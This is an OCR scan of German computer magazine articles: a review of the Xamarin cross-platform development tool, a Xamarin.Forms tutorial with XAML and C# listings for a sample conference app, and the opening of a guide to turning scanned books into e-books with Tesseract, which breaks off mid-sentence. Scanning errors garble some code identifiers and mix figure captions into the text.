Mit dem .NET Framework und C# lassen sich Programme 
und Apps eigentlich nur für Windows und Windows Phone 
entwickeln. Xamarin erweitert das Plattform-Spektrum 


um Android und iOS. 


amarin tritt an, die Entwick- 

lung von Apps für die drei 
populärsten Mobilplattformen 
zu vereinheitlichen und den 
Code auf allen Plattformen wie- 
derverwendbar zu machen. Das 
Produkt des gleichnamigen Un- 
ternehmens verspricht die native 
Cross-Plattform-Entwicklung auf 
Basis von .NET - und zwar nicht 
nur für Windows Phone, sondern 
auch für iOS und Android. 

Mit dieser Idee ist Xamarin 
nicht allein - Cross-Compiling- 
Lösungen wie Cordova oder Ti- 
tanium versprechen Ähnliches. 
Anders als diese meist auf HTML 
und JavaScript fußenden Lösun- 
gen geht Xamarin einen etwas 
anderen Weg. Für die Entwick- 
lung kommen C# und eine ab- 


gespeckte Version des .NET 
Framework zum Einsatz. Im 
Unterschied zu Cordova stellt 
Xamarin aber keine generischen 
Bibliotheken bereit, die alle 
Plattformen in einem gemeinsa- 
men Framework vereinen. Statt- 
dessen kommen für die Bedien- 
oberfläche und hardwarenahe 
Funktionen die nativen APIs der 
jeweiligen Plattform zum Ein- 
satz. Das macht die Entwicklung 
zunächst etwas aufwendiger, da 
Programmierer die Paradigmen 
und technischen Feinheiten 
aller Plattformen erlernen müs- 
sen. Dafür kommt am Ende eine 
native App heraus, die sich nicht 
wesentlich von einer in Objec- 
tive-C oder Java entwickelten 
unterscheidet. 


Übersetzer 


Xamarin stützt sich auf das Open- 
Source-Projekt Mono, eine Cross- 
Plattform-Implementierung von 
.NET. Diese wurde jedoch für die 
genannten mobilen Plattformen 
optimiert. So enthält die iOS-Ver- 
sion keinen Just-in-Time-Com- 
piler, da Apple keine Laufzeit- 
kompilierung auf seinen Geräten 
erlaubt. Stattdessen kommt ein 
Ahead-of-Time-Compiler zum 
Einsatz, der aus C#-Code native 
ARM-Binaries erzeugt. Daher ist 
für die Entwicklung auch zwin- 
gend ein Mac erforderlich - die 
erzeugten Binaries binden direkt 
an die iOS-APlIs. Zudem ist für das 
lokale Testen Apples iOS-Simula- 
tor zuständig. 

Auf der Android-Plattform er- 
zeugt Xamarin hingegen MSIL- 
Code (Microsoft Intermediate 
Language), der erst zur Laufzeit 
kompiliert wird. Daher benötigt 
eine Xamarin-App auf dieser 
Plattform ein wenig mehr Res- 
sourcen als eine Java-App. Denn 
hierbei kommt neben Androids 
Dalvik-Runtime - die für die Aus- 
führung des Java-Bytecode zu- 
ständig ist - eine zusätzliche 
Laufzeitumgebung ins Spiel. An- 
ders als unter iOS werden die 
Plattform-APls auch nicht sta- 


tisch gelinkt, sondern erst zur 
Laufzeit gebunden. In der Praxis 
macht dies - insbesondere bei 
Business-Apps - jedoch keinen 
fühlbaren Performance-Unter- 
schied. Die erzeugten App- 
Packages sind nur recht groß. 

Um mit Xamarin zu program- 
mieren, benutzt man entweder 
die mitgelieferte Entwicklungs- 
umgebung Xamarin Studio oder 
Microsofts Visual Studio, für das 
Xamarin ein Plug-in bereitstellt. 
Details zum Umgang damit lesen 
Sie im nachfolgenden Artikel. 

Visual Studio läuft nur unter 
Windows, während Xamarin Stu- 
dio auch für Mac OS X zu Verfü- 
gung steht. Es ist jedoch auch 
möglich, Visual Studio über 
Apple Parallels in virtualisierter 
Form auf dem Mac zu betreiben. 
Wer unter Windows für iOS ent- 
wickeln will, muss auf dem Mac 
den von Xamarin zur Verfügung 
gestellten sogenannten Build 
Host installieren, mit dem der 
Windows-Rechner dann per LAN 
kommuniziert. 


Oberflächengestaltung 


Für den Oberflächenentwurf bie- 
tet Xamarin zwei unterschied- 
liche Ansätze. Zum einen kann 
man ein Projekt dediziert für 
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Für iOS-Apps 
bringt Xamarin 
einen Story- 
board-Designer 
mit, der dem 
von XCode nach- 
empfunden ist. 
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eine einzelne Plattform entwi- 
ckeln. Hierbei muss der Entwick- 
ler den Ul-Paradigmen der jewei- 
ligen Plattform folgen. So kom- 
men in iOS zum Beispiel Views 
und View Controller zum Einsatz, 
während auf der Android-Platt- 
form Activities das Geschehen 
bestimmen. Für diesen Weg 
stellt Xamarin grafische Designer 
zu Verfügung, die sich an der je- 
weiligen Plattform orientieren. 

Alternativ bietet Xamarin mit 
dem Xamarin.Forms-Framework 
ein Ul-Modell an, das die Ober- 
flächenelemente der verschiede- 
nen Plattformen abstrahiert. Die- 
ses erfordert deutlich weniger 
plattformspezifisches Wissen, er- 
laubt jedoch nur einfach gestal- 
tete Oberflächen. Auf der Plus- 
Seite kann man mit diesem An- 
satz neben der Geschäftslogik 
auch einen Großteil der Ul- 
Schicht über die Plattformen 
hinweg verwenden. 


Editionen 


Xamarin bietet für die verschie- 
denen Plattformen separate Pro- 
dukte an, die einzeln lizenziert 
werden müssen. Alle Versionen 
werden in Form eines Abo-Mo- 
dells vertrieben. Hierbei stehen 
verschiedene Editionen zur Aus- 
wahl, die sich in Funktions- 
umfang und Nutzungsdauer un- 
terscheiden. 

Die Indie-Version lässt sich auf 
monatlicher Basis mieten und ist 
nach Beendigung des Abos nicht 
mehr lauffähig. Dies gilt jedoch 
nur für die Entwicklungsumge- 
bung - die damit programmier- 
ten Apps laufen unbegrenzt. Die 
Indie-Version ist vor allem für 
Einzelpersonen oder kleinere 
Teams interessant, die nicht 
ständig mit Xamarin arbeiten. 

Das Abo der Business Edition 
läuft hingegen ein Jahr. Hierbei 
kann man die Entwicklungsum- 
gebung nach Ablauf weiter ver- 
wenden. Innerhalb des Jahres 
sind sowohl Updates als auch 
neue Versionen im Abo enthal- 
ten. Diese deutlich teurere Va- 
riante ist für den professionellen 
und dauerhaften Einsatz ge- 
dacht. Sie bietet im Vergleich zur 
Indie-Edition zusätzlich die Visu- 
al-Studio-Integration und die 
Möglichkeit, Apps im Unterneh- 
mensnetz zu verteilen. Zudem 
stehen erweiterte Funktionen für 
die Kommunikation mit Services 
und Datenbanken zu Verfügung. 

Die Enterprise Edition ist für 
Unternehmen gedacht, die einen 
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erweiterten Support benötigen. 
Zudem sind Komponenten für 
die Entwicklung von Business- 
Apps im Lieferumfang enthalten. 
Zur Evaluation bietet Xamarin 
die kostenlose Starter Edition, die 
einen eingeschränkten Funk- 
tionsumfang hat und die Größe 
der erstellten Apps begrenzt. Lei- 
der sind in dieser Version das Xa- 
marin.Forms-Framework und die 
Visual-Studio-Integration nur in 
den ersten 30 Tagen benutzbar. 


Fazit 


Der größte Vorteil von Xamarin 
ist die Reduktion auf eine einzige 
Programmiersprache. Dies kommt 
vor allem C#-Entwicklern zu Gute, 
die nicht Objective-C, Swing 
oder Java lernen wollen. Zudem 
kann domänenspezifischer Code 
in plattformübergreifenden App- 
Projekten wiederverwendet wer- 
den. 

Anders als bei Cross-Compi- 
ling-Ansätzen sind jedoch gute 
Kenntnisse der verschiedenen 
Ul-Modelle unabdingbar. Das 
Xamarin.Forms-Framework hat 
zwar das Potenzial, auch diese 
Lücke zu schließen, zurzeit steckt 
es jedoch noch in den Anfängen. 
So sind selbst bei sehr einfachen 
Apps plattformspezifische An- 
passungen notwendig. Auch die 
Tool-Unterstützung ist bislang 
nicht ideal. So fehlt ein grafischer 
Designer sowie IntelliSense-Sup- 
port, was die Gestaltung der 
Oberfläche mühsam macht. 

Die Entwicklung einzelner, 
plattformspezifischer Apps ist 
hingegen sehr ausgereift. Hier 
bietet Xamarin gut funktionie- 
rende Designer für den Entwurf 
von iOS- und Android-Oberflä- 
chen. In Summe steht mit Xama- 
rin eine solide Plattform für die 
Entwicklung nativer Apps zu Ver- 
fügung - allerdings vornehmlich 
für Entwickler, die in der .NET- 
Welt zu Hause sind. (hos) 


CE Download der Starter 
Edition: ct.de/yp2e 


Cross-Platform-Entwicklungswerkzeuge 
für Apps 


Hersteller Xamarin Inc., 

http://xamarin.com 

Systemanf. Windows, Mac 0$ 

Preise kostenlos (Starter), 25 US-$/ 
Monat (Indie), 999 US-$/Jahr 
(Business), 1899 US-$/Jahr 
(Enterprise) 
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Know-how | Cross-Plattform-App-Entwicklung 


Jörg Neumann 


Zartes Pflänzchen 


Cross-Plattform-App-Entwicklung mit Xamarin.Forms 


Mit Xamarin.Forms können C#-Entwickler aus einem gemeinsamen 
Quelltext Apps für i0S, Android und Windows Phone erzeugen. Einige 
Besonderheiten gilt es aber dabei zu beachten - sie erschließen sich 
am besten anhand eines kleinen Beispielprojekts. 


W" man bei der Entwicklung 
von Apps mehr als ein mo- 
biles Betriebssystem berücksich- 
tigen, wird es schnell unüber- 
sichtlich: Jede Plattform hat ihre 
Eigenheiten. Während unter iOS 
in Objective-C oder Swift pro- 
grammiert wird, kommt unter 
Android Java zum Einsatz. Auf 
der Windows-Plattform kann 
sich der Entwickler wiederum 
zwischen .NET, JavaScript oder 
C++ entscheiden. Darüber 
hinaus bieten alle Plattformen 
unterschiedliche Klassenbiblio- 
theken und Oberflächenmodel- 
le. Das macht die Entwicklung 
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nicht nur kompliziert, sondern 
vor allem teuer - insbesondere 
wenn für alle drei Plattformen 
entwickelt werden muss. 

Mit Xamarin.Forms soll das 
alles anders werden: Entwickler 
benutzen nur noch eine einzige 
IDE - wahlweise die Xamarin- 
Eigenentwicklung Xamarin Stu- 
dio oder Microsofts Visual Studio, 
in dem sich die meisten .NET-Ent- 
wickler ohnehin zu Hause fühlen 
dürften. Alle Quelltext- und sons- 
tigen Dateien für die drei Platt- 
formen werden in einem gemein- 
samen Projekt verwaltet, wobei 
sich die plattformspezifischen 


Anpassungen auf ein Minimum 
beschränken. Die weitaus meiste 
Arbeit kommt allen drei App-Aus- 
gaben gemeinsam zugute. 

Im Folgenden sollen einige 
Aspekte bei dieser Art der platt- 
formübergreifenden Entwick- 
lung demonstriert werden. Als 
Beispiel dient eine einfache Kon- 
gress-App, wie sie zu der c’t-Kon- 
ferenz „Social Intranet und 
Groupware 2014” hätte erschei- 
nen können. Mit ihr kann sich 
der Teilnehmer die Agenda, die 
Liste der Sprecher sowie Details 
zu den Vorträgen anzeigen las- 
sen. Zudem kann er einzelne 
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Vorträge vormerken und bewer- 
ten. Den Quellcode der App 
gibts über den c't-Link am Ende 
dieses Artikels. 

Alternativ zum plattformüber- 
greifenden Xamarin.Forms ist es 
mit Xamarin auch möglich, Apps 
für nur eines der unterstützten 
Systeme zu schreiben. Auch das 
kann man in Visual Studio erledi- 
gen und dabei C# als Program- 
miersprache verwenden, muss 
aber mehr über die Zielplattform 
wissen als bei Xamarin.Forms. 
Zum Vergleich der beiden Ansät- 
ze ist im Download-Paket zu die- 
sem Artikel auch noch eine platt- 
formspezifische Version der App 
für iOS enthalten. 

Ruft man nach der Installation 
der Xamarin-Umgebung im Vi- 
sual Studio den Assistenten für 
neue Projekte auf, enthält die 
Liste der Vorlagen im Bereich „Vi- 
sual C#“ unter anderem die neue 
Kategorie „Mobile Apps“. Für eine 
plattformübergreifende App ist 
hier der Eintrag „Blank App (Xa- 
marin.Forms Portable)” der richti- 
ge. Wählt man ihn aus, erstellt der 
Assistent eine Solution mit insge- 
samt vier Projekten: Das erste 
enthält eine Portable Class Li- 
brary (im deutschen Visual Studio 
„Übertragbar”). Hierbei handelt 
es sich um eine Bibliothek, die 
in verschiedene plattformspezifi- 
sche Projekte eingebunden wer- 
den kann. Sie enthält die gemein- 
same Geschäftslogik, den Code 
und die Medien-Elemente für die 
Bedienoberfläche - kurz: all das, 
was sich von Zielsystem zu Ziel- 
system nicht unterscheidet. 

In den drei weiteren Projekten 
verbirgt sich die eigentliche App, 
jeweils für ein Betriebssystem. 
Diese Plattformprojekte verwei- 
sen auf die Library, können je- 
doch auch selbst Teile der App 
bereitstellen oder Xamarin.Forms- 
Elemente um bestimmte Aspek- 
te wie Fonts oder Grafiken erwei- 
tern. 


Navigation und 
Datenbindung 


Die Klasse Page repräsentiert die 
Seiten einer App. Für verschiede- 
ne Darstellungen stehen spezia- 
lisierte Ableitungen zu Verfü- 
gung. So stellt beispielsweise die 
Klasse ContentPage einfache Inhalte 
bereit, während eine MasterDetail- 
Page für eine zweigeteilte Darstel- 
lung verwendet werden kann. 
Die Elemente, aus denen eine 
Seite besteht, lassen sich per 
Code oder Markup deklarieren. 
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Bei letzterem kommt Microsofts 
Extensible Application Markup 
Language (XAML) zum Einsatz. 
Hierbei beschreibt der Entwick- 
ler die einzelnen Oberflächen- 
elemente in XML; zur Laufzeit 
übersetzt sie das Framework in 
die jeweiligen plattformspezifi- 
schen Konstrukte. 

Die Entwicklung der Oberflä- 
che gestaltet sich etwas mühse- 
lig, da kein grafischer Designer, 
sondern lediglich ein einfacher 
XML-Editor zur Verfügung steht. 
Auch Eingabehilfen wie das von 
Microsoft bekannte IntelliSense 
unterstützt Xamarin.Forms zur- 
zeit nur rudimentär. Zudem ist 
der bereitgestellte XAML-Dialekt 
nicht zu hundert Prozent mit 
dem von Microsoft kompatibel. 
Dies ist sicherlich der Tatsache 
geschuldet, dass hier drei völlig 
unterschiedliche Ul-Plattformen 
unter einen Hut gebracht wer- 
den mussten. 

Die Startseite der Beispiel-App 
besteht im Wesentlichen aus 
einer einfachen Liste - genauer: 
einem ListView-Element, über das 
der Anwender zur Agenda, der 
Sprecher- oder der Vortragsliste 
navigieren kann. Wie das Listing 
auf der nächsten Seite oben 
zeigt, enthält die ListView ein Data 
Template, welches das Aussehen 
der einzelnen, per Datenbindung 
gefüllten Einträge bestimmt. 

Die zugehörige Code-Datei 
stellt die Datenquelle der Bin- 
dung über die BindingContext- 
Eigenschaft der Seite bereit - 
siehe mittleres Listing auf Seite 
152. Gespeichert sind diese 
Daten in einer Liste von Topic-Ob- 
jekten. Hierbei handelt es sich 
um eine einfache Datenklasse, 
die einen Auswahlpunkt in Form 


einer ID- und einer Title-Eigen- 
schaft repräsentiert. 

Wählt der Anwender einen 
Punkt der Liste aus, löst das 
ListView-Element das Ereignis Item- 
Tapped aus. Es wurde im Markup 
an die Methode OnltemTapped() 
gebunden. Diese muss nun die 
gewählte Topic-Instanz ermitteln, 
eine dazu passende Seite erzeu- 
gen und mit einem Aufruf von 
Navigation.PushAsync() dorthin navi- 
gieren. 


Plattformspezifische 
Anpassungen 


Die Darstellung von Ul-Elemen- 
ten kann sich auf den verschie- 


PM 


Details 


Vernetzung jenseits der E-Mail 


fmiberficher Syainmarttutent une 


Bewerten 


Cross-Plattform-Projekte 


Know-how | Cross-Plattform-App-Entwicklung 


Ein systemübergreifendes App-Projekt besteht aus einer Portable 
Class Library, die über verschiedene Kanäle mit der jeweiligen 
Plattform kommunizieren kann. 


a 4 a 
Android- i0S- Windows-Phone- 
Projekt Projekt Projekt 
Android- iOS- Windows-Phone- 
Package Package Package 


Ein einziges Xamarin.Forms-Projekt erzeugt eine App 


für drei verschiedene Plattformen. 


“ | 


FE 


TabbedPage 


ContentPage 


MasterDetailPage 


NavigationPage 


Je nach Darstellung kann man bei Xamarin.Forms zwischen verschiedenen 


Seitenvorlagen wählen. 
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<?xml version="1.0" encoding="UTF-8"?> 
<ContentPage xmlns=http://xamarin.com/schemas/2014/forms 
xmlns:x=http://schemas.microsoft.com/winfx/2009/xaml 
x:Class="ConferenceApp.MainPage" 
Title="Social Intranet und Groupware 2014"> 
<ContentPage.Content> 
<ListView ItemsSource="{Binding}" ItemTapped="OnItemTapped"> 
<ListView.ItemTemplate> 
<DataTemplate> 
<Vieutell> 
<Vieulell.Vieu> 
<StackLayout> 
<Label Text="{Binding Title}" Font="Medium"/> 
</StackLayout> 
</Viewlell.View> 
</Vieutell> 
</DataTemplate> 
</ListView.ItemTenplate> 
</ListView> 
</ContentPage.Content> 
</ContentPage> 


Die Deklaration der Startseite zeigt, dass der von Xamarin 
verwendete XAML-Dialekt dem von Microsoft ähnelt, aber 
nicht gleicht. 


public partial class MainPage : ContentPage 
{ 

public Mainpage () 

{ 


InitializeComponent (); 


protected override void OnAppearing() 
{ 


base.OnAppearing(); 

var topics = new List<Topic> { 
new Topic { Id = 1, Title = "Agenda" }, 
new Topic { Id = 2, Title = "Sprecher" }, 
new Topic { Id = 3, Title = "Vorträge" } 


this.BindingContext = topics; 
private void OnltemTapped(object sender, ItemTappedEventArgs e) 
ı 


ContentPage page = null; 
var topic = e.Item as Topic; 
switch (topic.Id) { 
case 1: 
page = new AgendaPage (); 
break; 
case 2: 
page = new SpeakerPage (); 
break; 
case 3: 
page = new SessionPage (); 
break; 


if (page != null) { 
this.Navigation.PushAsync (page); 


Auch im C#-Code halten sich die Unterschiede zwischen 


Xamarin und der WPF in Grenzen. An einige neue Bezeichner 


muss man sich aber gewöhnen. 


Lassembly: ExportRenderer(typeof(DisclosurelndicatorVieulell), 


typeof(DisclosurelndicatorViewCellRenderer))] 


namespace ConferenceApp.i0$ 


public class DisclosurelndicatorViewCellRenderer : ViewCellRenderer 
ı 


public override UlTableViewlell GetCell(Cell item, UlTableView tv) 
{ 


var cell = base.GetCell(iten, tv); 


cell.Accessory = UlTableViewlellAccessory.Disclosurelndicator; 


return cell; 
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denen Endgeräten drastisch un- 
terscheiden. Besonders Schriften 
sehen von Gerät zu Gerät deut- 
lich anders aus, vor allem oft un- 
terschiedlich groß. Zur Lösung 
dieses Problems stellt Xamarin 
mehrere Mechanismen bereit, 
die plattformspezifische Anpas- 
sungen ermöglichen. 

So kann eine App mit Hilfe der 
Klasse Device ermitteln, auf wel- 
cher Plattform sie gerade läuft. 
Die Konferenz-App passt hier- 
über die Zeilenhöhe einiger Lis- 
ten plattformabhängig an: 


if (Device.0$ == 
TargetPlatform.WinPhone) { 
this.listView.RowHeight = 40; 
} 
else if (Device.05 == 
TargetPlatform.Android) { 
this.listView.RowHeight = 32; 
} 


Auch per Markup lassen sich sol- 
che Anpassungen realisieren, 
und zwar über die Klasse OnPlat- 
form. Sie dient als Platzhalter für 
ein spezifisches Element und 
kann über die Eigenschaften i0S, 
Android und WinPhone mit den indi- 
viduellen Werten gefüllt werden: 


<Label Text="{Binding}"> 
<Label.Font> 
<OnPlatform x:TypeArguments="Font"> 
<OnPlatform.i0S> 
Medium 
</OnPlatform.i0S> 
<OnPlatform.Android> 
Large 
</OnPlatform.Android> 
<OnPlatform.WinPhone> 
Large 
</OnPlatform.WinPhone> 
</OnPlatform> 
</Label.Font> 
</Label> 


Grundsätzlich zeichnet Xamarin 
die Elemente der Oberfläche 
nicht selbst, sondern verweist 
intern auf plattformspezifische 
Klassen. So repräsentiert bei- 
spielsweise die Klasse Label unter 
iOS ein UlLabel, während unter An- 
droid eine TextView erzeugt wird. 
Sogenannte Renderer überset- 
zen die generischen Objekte in 
plattformspezifische Elemente; 


Sogenannte Renderer geben 
plattformunabhängige UI- 
Elemente in Form von Widgets 
des jeweiligen Betriebssystems 
aus. Diese Klassen lassen sich 
individuell an das jeweilige 
Gerät anpassen. 
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Carmier # 2:24 PM - 


Social Intranet und Groupware 2014 


Agenda 
Sprecher 


Vorträge 


Die Pfeile rechts neben den 
Listeneinträgen gibt es nur 
unter iOS. Für solche Fälle sieht 
Xamarin.Forms spezielle 
Schnittstellen für plattform- 
spezifische Anpassungen vor. 


sie können individuell angepasst 
werden. Auf Basis dieses Modells 
ist auch die Implementierung 
eigener plattformübergreifender 
Ul-Elemente möglich. 

Ein Beispiel für die Notwen- 
digkeit, den Inhalt eines Ele- 
ments plattformspezifisch anzu- 
passen, sind die sogenannten 
Disclosure Indicators in iOS. 
Diese Zeichen erscheinen am 
rechten Rand eines Listenein- 
trags, um dem Anwender eine 
Navigation bei Anwahl zu signa- 
lisieren. Da die anderen Plattfor- 
men derartige Symbole nicht 
vorsehen, bietet das ListView- 
Element keine entsprechende 
Option. Für die Konventions- 
konforme Repräsentation der 
Listeneinträge auf dem iPhone 
muss also ein spezieller Renderer 
her, der die Listeneinträge unter 
iOS um die Indikatoren ergänzt. 

Für die Implementierung 
haben wir in der Portable Class 
Library der App zunächst die 
Klasse DisclosurelndicatorViewCell er- 
stellt. Diese leitet von der platt- 
formunabhängigen Klasse View- 
Cell ab und dient lediglich als 
Platzhalterelement für das XAML- 
Markup. 

Die eigentliche Implementie- 
rung erfolgt im iOS-Projekt. Hier 
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1appen-Explorer 
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UI-Elemente 


Xamarin.Forms bildet plattformneutrale Ul-Elemente auf 
die passenden Klassen des jeweiligen Betriebssystems ab. 


Android 


LabelRenderer —| TextView 


a 0-20 s-|R 
Projektmappen-Explorer (Strg+ü) durchsuchen P- | 
n ektmappe "ConferenceApp" (4 Projekte) 
4 ConferenceApp (Übertragbar) 
In Visual vb & Properties 
“ D wm Verweise 
Studio besteht %: Mi Controls 
eine Xama- D 1 Models 
rin.Forms- A rege Portable 
. A: } 
Solution aus a Class 
. PD DI MainPage.xaml Librar 
einer Portable DM SessionDetailsPage.xaml y 
Class Library, DM SessionPage.xaml 
die in die b_ IM SpeakerDetailsPage.xaml 
DM SpeakerPage,xaml 
plattform- BR 
ne pp.cs 
spezifischen %) packages.config 
Projekte ein- DE ConferenceApp.Android Platt- 
gebunden PD E ConferenceApp.iOS form- 
wird. b [@] ConferenceApp.WinPhone (Windows Phone 8.0) projekte 


übernimmt die Klasse Disclosureln- 
dicatorViewCellRenderer die platt- 
formspezifische Abbildung des 
Listeneintrags. Hierzu leitet sie 
von der Basisklasse ViewCellRende- 
rer ab und überschreibt deren 
GetCell()-Methode. Diese erstellt 
eine Listenzeile und konfiguriert 
sie. Der Rückgabewert ist eine 
Instanz der iOS-Klasse UITable- 
ViewCell. 

Zuletzt muss das plattformun- 
abhängige Element noch mit der 
plattformspezifischen Renderer- 
Klasse verknüpft werden. Dies 


geschieht über das ExportRenderer- 
Attribut, welches auf Assembly- 
Ebene deklariert werden muss. 
Auf Grundlage dieser Metadaten 
führt ein Dependency-Injection- 
Mechanismus zur Laufzeit beide 
Teile zusammen. Kann er für das 
jeweilige Element keine passen- 
de Renderer-Klasse finden, ver- 
wendet er den Renderer der 
Basisklasse. Dies ist zum Beispiel 
der Fall, wenn das Disclosurelndica- 
torViewCell-Element auf der An- 
droid-Plattform zum Einsatz 
kommt. 


UlLabel 


Fazit 


Auch wenn Ihnen das zuletzt 
geschilderte Beispiel schon 
recht kompliziert vorgekommen 
sein mag: Mit solchen platt- 
formspezifischen Eigenheiten 
braucht man sich bei der Ent- 
wicklung mit Xamarin.Forms nur 
recht selten herumzuschlagen. 
Zumindest für typische Busi- 
ness-Anwendungen, die ja in 
der Hauptsache aus Eingabe- 
masken und Listen bestehen, 
muss man die drei Plattform- 


LabelRenderer ——> 


LabelRenderer TextBlock 


Projekte einer App-Solution in 
der Regel überhaupt nicht an- 
fassen. Spätestens beim Umset- 
zen von Ideen für eigene Steuer- 
elemente kommt man aber 
doch nicht darum herum. Bei 
der Sammlung vorgefertigter 
Widgets - pardon: Views - wird 
Xamarin aber sicher noch nach- 
legen. Die Xamarin.Forms-Bi- 
bliothek steht ja erst am Anfang 
ihrer Entwicklung. (hos) 


CE Beispiel-Code: ct.de/yrnk 
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Lesestoff-Recycling 


Eingescannte Bücher zu E-Books machen 


Viele Bücher, die man schon besitzt, möchte man nicht unbedingt als E-Book neu 
kaufen, um sie mal wieder zu lesen. Das ist auch nicht nötig, wenn man sie einscannt 
und digital umwandelt. Dazu benötigt man nicht einmal teure Software - auch mit 


Freeware klappt es wunderbar. 


hne passenden Lesestoff lie- 

gen E-Book-Reader wie To- 
polino, Kobo oder Kindle nur un- 
nütz in der Ecke. Zwar sind Klas- 
siker, die 70 Jahre nach dem Tod 
des Autors nicht mehr dem Ur- 
heberrecht unterliegen, auch als 
kostenlose E-Books erhältlich. 
Neuere Werke, die man als ge- 
drucktes Buch besitzt, müsste 
man als E-Book hingegen neu 
kaufen - wenn es überhaupt 
eine digitale Fassung gibt. Für 
den Eigenbedarf geht es auch 
ohne erneute Ausgaben. Die 
Printversion lässt sich mit wenig 
Aufwand einscannen. OCR-Soft- 
ware erkennt den Text und spei- 
chert ihn so, dass er sich weiter- 
verarbeiten lässt. 

Kommerzielle Software wie 
Abbyy FineReader wandelt ihn 
auf Wunsch direkt ins passende 
E-Book-Format um. Das klappt 
mit kostenlosen Programmen 
zwar nicht so komfortabel und 
erfordert mehrere Schritte bis 


154 


zum fertigen E-Book. Doch wenn 
die Seiten erst einmal einge- 
scannt sind, dauert das Umwan- 
deln einer Seite kaum mehr als 
eine Minute. 

Als Grundlage dient im Fol- 
genden die OCR-Software Tesse- 
ract, die den Text erkennt und in 
einer Datei speichert. Über das 
grafische Zusatztool ImageRea- 
der lässt sich Tesseract leicht 
bedienen. Mit OpenOffice oder 
LibreOffice Writer lässt sich der 
eingelesene Text weiter verarbei- 
ten und mit der Erweiterung 
Writer2Epub in ein E-Book kon- 
vertieren - mit Hilfe des Tools 
KindleGen auch ins Mobipocket- 
Format für Amazons Kindle-Gerä- 
te. Alle notwendigen Downloads 
finden Sie über den c’t-Link am 
Ende des Artikels. 


Gerade scannen 


Die Hauptaufgabe erledigt die 
freie Texterkennungssoftware 


Tesseract, die seit 1985 von Hew- 
lett-Packard entwickelt wurde. 
1995 zog sich die Firma aus 
dem OCR-Geschäft zurück. Auf 
Umwegen gelangte Tesseract 
schließlich zum Internet-Konzern 
Google, bei dem der frühere Tes- 
seract-Entwickler Ray Smith in- 
zwischen arbeitete. Google gab 
den Code frei, entwickelt ihn 
aber weiter und benutzt ihn 
unter anderem für die Volltext- 
suche in Google Books. 

Zwar kann Tesseract bei Wei- 
tem nicht mit kommerzieller 
OCR-Software konkurrieren. So 
erkennt das Programm Text, in- 
terpretiert mit Ausnahme von 
Zeilen- und Absatzumbrüchen 
aber keinerlei Formatierungen. 
Darüber hinaus stellt Tesseract 
höhere Ansprüche an die Qua- 
lität der Scans. Wenn man ein 
paar Regeln beachtet, erzielt 
man mit der Open-Source-Soft- 
ware aber gute Ergebnisse. 
Wichtig ist, dass die Seiten mit 
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mindestens 300 DPI gescannt 
werden; bei kleiner Schrift emp- 
fiehlt sich eine höhere Auflö- 
sung. Das ist vor allem nötig, 
wenn Tesseract Umlaute nicht 
zuverlässig erkennt. Beim Ein- 
scannen sollte das Buch mög- 
lichst flach auf dem Scanner lie- 
gen. Darüber hinaus muss der 
Text bis in den Bund hinein mög- 
lichst gerade verlaufen. Scannt 
man Doppelseiten ein, drückt 
man etwas fester auf den Buch- 
rücken, damit beide Seiten plan 
aufliegen. Zwar spielt die Lage 
des Textes in der Bilddatei keine 
Rolle und Tesseract erkennt auch 
um 90 Grad gedrehten Text, ver- 
arbeitet dann aber Doppelseiten 
oft in der falschen Reihenfolge. 
Besser ist es, die Bilddateien vor 
der Erkennung so zu drehen, 
dass der Text horizontal verläuft. 


Komfortabel einlesen 


Tesseract selbst läuft nur auf der 
Kommandozeile und analysiert 
den Text automatisch. Ansons- 
ten bietet das Werkzeug keine 
Möglichkeit, manuell einzugrei- 
fen und erfasst auch Kopfzeilen 
oder Seitenzahlen, die bei der 
Weiterbearbeitung nur stören. 
Diese Nachteile umgeht man mit 
grafischen Frontends, die Zu- 
satzfunktionen zur Bildoptimie- 
rung und zum Markieren einzu- 
lesender Bereiche bieten. Das 
Frontend glmageReader erzielt 
sehr gute Ergebnisse, weshalb 
wir alle weiteren Schritte mit die- 
sem Programm beschreiben. 

Standardmäßig erkennt gl- 
mageReader nur englischspra- 
chige Texte, lässt sich aber für 
weitere Sprachen erweitern. Die 
benötigten Sprachdefinitionsda- 
teien findet man auf der Tesse- 
ract-Website als GZ-Archive. Für 
deutschsprachige Texte wählt 
man die Datei tesseract-ocr- 
3.02.deu.tar.gz. Sie enthält die 
Definitionsdateien deu.trained- 
data für Standardschriften und 
deu-frak.traineddata für Fraktur- 
schriften, die man ins Unterver- 
zeichnis share\tessdata des gl- 
mageReader-Ordners kopiert. 
Das erfordert unter Windows Ad- 
ministratorrechte. 

Außerdem benötigt glmage- 
Reader die passenden Wörterbü- 
cher für die jeweilige Sprache. Sie 
sind mit denen der OpenOffice- 
Rechtschreibprüfung identisch 
und finden sich auf der OpenOf- 
fice-Website. Für deutschspra- 
chige Texte lädt man die Datei 
de_DE.ZIP herunter, entpackt das 
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Archiv und kopiert die Dateien 
ins Unterverzeichnis share\my- 
spell\dicts. Damit ist glmageRea- 
der einsatzbereit. 

Auf der glmageReader-Ober- 
fläche lädt man zunächst die ge- 
scannten Seiten durch einen Klick 
aufs Dateisymbol, sodass sie sich 
einzeln auswählen lassen. Über 
Symbole lässt sich der Inhalt in 
90-Grad-Schritten nach links oder 
rechts drehen, falls man das nicht 
schon erledigt hat. 

Ein Klick auf „Autodetect lay- 
out“ analysiert die ausgewählte 
Bilddatei und markiert die gefun- 
denen Textblöcke. Dabei inter- 
pretiert glmageReader Kopfzeilen 
und Seitenzahlen als eigene Text- 
bereiche, die man für E-Books 
aber nicht benötigt. Zudem pro- 
duziert die Funktion viele Fehler, 
die man erst per Hand korrigieren 
müsste. Schneller geht es, die 
zu konvertierenden Textbereiche 
per Hand zu definieren, was pro 
eingescannter Seite nur wenige 
Sekunden erfordert. Dazu mar- 
kiert man mit der linken Maustas- 
te die komplette Seite ohne Kopf- 
und Fußzeilen. Auf Doppelseiten, 


die einen zweiten Textbereich er- 
fordern, drückt man für den zwei- 
ten Textblock zusätzlich die Strg- 
Taste. Andernfalls löscht glmage- 
Reader die zuvor erstellte Markie- 
rung. Durch Anfassen der Ränder 
mit der Maus lassen sich die Blö- 
cke nachträglich korrigieren. Man 
sollte darauf achten, dass an den 
Seiten möglichst wenig Leerraum 
bleibt; das erhöht die Erken- 
nungsrate. 

Durch einen Klick auf den Pfeil 
rechts neben „Recognize selec- 
tion“ in der Symbolleiste wählt 
man Deutsch als Sprache aus 
und klickt danach auf „Recog- 
nize selection“. Die markierten 
Bereiche übermittelt glmageRea- 
der im Hintergrund an Tesseract 
und gibt das Erkennungsergeb- 
nis in einem Editor-Fenster aus. 

Dieser Editor bietet Werkzeu- 
